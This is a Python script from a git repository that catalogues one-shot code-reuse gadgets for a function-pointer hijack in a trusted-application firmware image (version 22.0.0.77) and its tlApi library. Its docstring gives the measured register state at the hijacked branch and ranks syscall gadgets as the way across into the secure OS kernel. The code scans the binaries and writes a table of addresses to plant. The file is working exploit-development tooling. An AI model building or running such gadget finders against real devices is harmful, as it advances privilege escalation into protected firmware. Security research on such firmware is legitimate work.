aboutsummaryrefslogtreecommitdiffstats
path: root/fw/oneshot_catalogue.py
blob: 0aeb9742de2bea8bca32d9cfc5662baf0ebc7f52 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/env python3
"""Catalogue of ONE-SHOT gadgets for the GCP fn-ptr hijack.

Single-shot arbitrary PC is the proven primitive (7 values carved + oracle-verified + executed on
silicon). Chaining is blocked (Add.113/116/118), so the useful question is not "what pops pc" but
"what does one instruction sequence ACHIEVE from the measured entry state".

Entry state at the hijacked `bx ip` (Add.95, measured on hardware):
    r0 = sp = 0x41bf70      r1 = r2 = r3 = 0        r4 = 0x41d030 (ctx)     r5 = 0x41bf70
    r6..r11 = 0             ip = the planted value  lr = 0x00405617         sp = 0x41bf70
    cpsr: N=0 Z=1 C=1 V=0, USR mode, ITSTATE=0
Condition codes that EXECUTE under those flags: al eq cs/hs pl vc ls ge le
Condition codes that are SKIPPED:               ne cc/lo mi vs hi lt gt

Classes emitted, in descending order of interest for a single shot:
  SVC        -- a syscall into sOS with semi-controlled arguments: the only class that crosses the
                TA/kernel boundary, so the highest-value one-shot target
  STORE      -- a write primitive with a computed target and value, often reaching further than our
                existing primitives (imm12 off r4 covers ctx+0..0xfff)
  LOAD_SP    -- sets SP from memory (stack pivot), listed for completeness
  CALL       -- enters a real function with r0 = &requestBlock and r4 = ctx
"""
import glob, struct, sys, collections
from capstone import *
from capstone.arm import ARM_OP_MEM, ARM_OP_REG

ENTRY = {"r0":0x41bf70,"r1":0,"r2":0,"r3":0,"r4":0x41d030,"r5":0x41bf70,"r6":0,"r7":0,
         "r8":0,"r9":0,"sb":0,"r10":0,"sl":0,"r11":0,"fp":0,"sp":0x41bf70,"lr":0x00405617}
EXEC_CC = {"","al","eq","cs","hs","pl","vc","ls","ge","le"}
CCS = ("eq","ne","cs","hs","cc","lo","mi","pl","vs","vc","hi","ls","ge","lt","gt","le")
def cc_of(m):
    for c in CCS:
        if m.endswith(c) and len(m) > len(c): return c
    return ""
def regions():
    g = glob.glob('psp_out/versions_win/ta_22-0-0-77_*.bin')[0]
    out = [(open(g,'rb').read(), 0x400100, "gcp")]
    lib = 'fw/gadgets/tlapi_lib_0xf00000.bin'
    try: out.append((open(lib,'rb').read(), 0xf00000, "tlapi"))
    except Exception: pass
    return out
def whereis(a):
    for lo,hi,n in ((0x400000,0x407000,"code R-X"),(0x407000,0x417000,".bss RW XN"),
                    (0x418000,0x41c000,"stack RW XN"),(0x41d000,0x421000,"heap RW XN"),
                    (0x422000,0x423000,"procpage RW XN"),(0xf00000,0xf01000,"tlapi R-X")):
        if lo <= a < hi: return n
    return "UNMAPPED"
res = collections.defaultdict(list)
for blob, base, tag in regions():
    for mode, step, md in ((CS_MODE_THUMB,2,Cs(CS_ARCH_ARM,CS_MODE_THUMB)),
                           (CS_MODE_ARM,4,Cs(CS_ARCH_ARM,CS_MODE_ARM))):
        md.detail = True
        mname = "T" if mode == CS_MODE_THUMB else "A"
        hi_exec = 0x407000 if tag == "gcp" else 0xf01000
        for off in range(0, len(blob)-8, step):
            va = base + off
            if va >= hi_exec: break        # beyond R-X: .data/.bss, never executable
            try: ins = list(md.disasm(blob[off:off+12], va, count=2))
            except Exception: continue
            if not ins: continue
            i = ins[0]
            if cc_of(i.mnemonic) not in EXEC_CC: continue
            plant = va | (1 if mode == CS_MODE_THUMB else 0)
            txt = "%s %s" % (i.mnemonic, i.op_str)
            nxt = ("%s %s" % (ins[1].mnemonic, ins[1].op_str)) if len(ins) > 1 else ""
            if i.mnemonic.startswith("svc"):
                res["SVC"].append((plant, mname, tag, txt, nxt, i.op_str))
                continue
            ops = i.operands
            if i.mnemonic.startswith(("str","stm")) and len(ops) >= 2:
                m = [o for o in ops if o.type == ARM_OP_MEM]
                if m:
                    mm = m[0].mem
                    bn = i.reg_name(mm.base) if mm.base else None
                    if bn in ENTRY and mm.index == 0:
                        tgt = (ENTRY[bn] + mm.disp) & 0xFFFFFFFF
                        srcs = [i.reg_name(o.reg) for o in ops if o.type == ARM_OP_REG]
                        sv = ENTRY.get(srcs[0]) if srcs and srcs[0] in ENTRY else None
                        res["STORE"].append((plant, mname, tag, txt, nxt, bn, tgt,
                                             srcs[0] if srcs else "?", sv))
                continue
            if i.op_str.split(",")[0].strip() == "sp" and "[" in i.op_str:
                res["LOAD_SP"].append((plant, mname, tag, txt, nxt, ""))
                continue
            if i.mnemonic.startswith(("bl","blx")) and i.op_str.startswith("#"):
                try: t = int(i.op_str.lstrip("#"), 0)
                except Exception: continue
                res["CALL"].append((plant, mname, tag, txt, nxt, t))
print("one-shot gadget catalogue, GCP 22.0.0.77 + tlApi page")
for k in ("SVC","STORE","LOAD_SP","CALL"):
    print("   %-8s %d" % (k, len(res[k])))
import json
with open('fw/gadgets/ONESHOT-GADGETS.md','w') as f:
    f.write(__doc__ + "\n\n")
    f.write("## SVC gadgets -- the only class that crosses into sOS (%d)\n\n" % len(res["SVC"]))
    f.write("plant this value | mode | insn | next insn\n---|---|---|---\n")
    seen = set()
    for plant,mn,tag,txt,nxt,imm in sorted(res["SVC"]):
        if (txt,nxt) in seen and len(seen) > 400: continue
        seen.add((txt,nxt))
        f.write("`%#010x` | %s %s | `%s` | `%s`\n" % (plant,mn,tag,txt,nxt))
    f.write("\n## STORE gadgets with a COMPUTED target (%d)\n\n" % len(res["STORE"]))
    f.write("plant | mode | insn | writes | to | region\n---|---|---|---|---|---\n")
    for plant,mn,tag,txt,nxt,bn,tgt,src,sv in sorted(res["STORE"]):
        f.write("`%#010x` | %s %s | `%s` | %s | `%#010x` | %s\n" %
                (plant,mn,tag,txt, ("%#010x"%sv) if sv is not None else src, tgt, whereis(tgt)))
    f.write("\n## LOAD_SP (stack pivots) (%d)\n\n" % len(res["LOAD_SP"]))
    for plant,mn,tag,txt,nxt,_ in sorted(res["LOAD_SP"]):
        f.write("- `%#010x` %s %s `%s` ; `%s`\n" % (plant,mn,tag,txt,nxt))
print("\nwrote fw/gadgets/ONESHOT-GADGETS.md")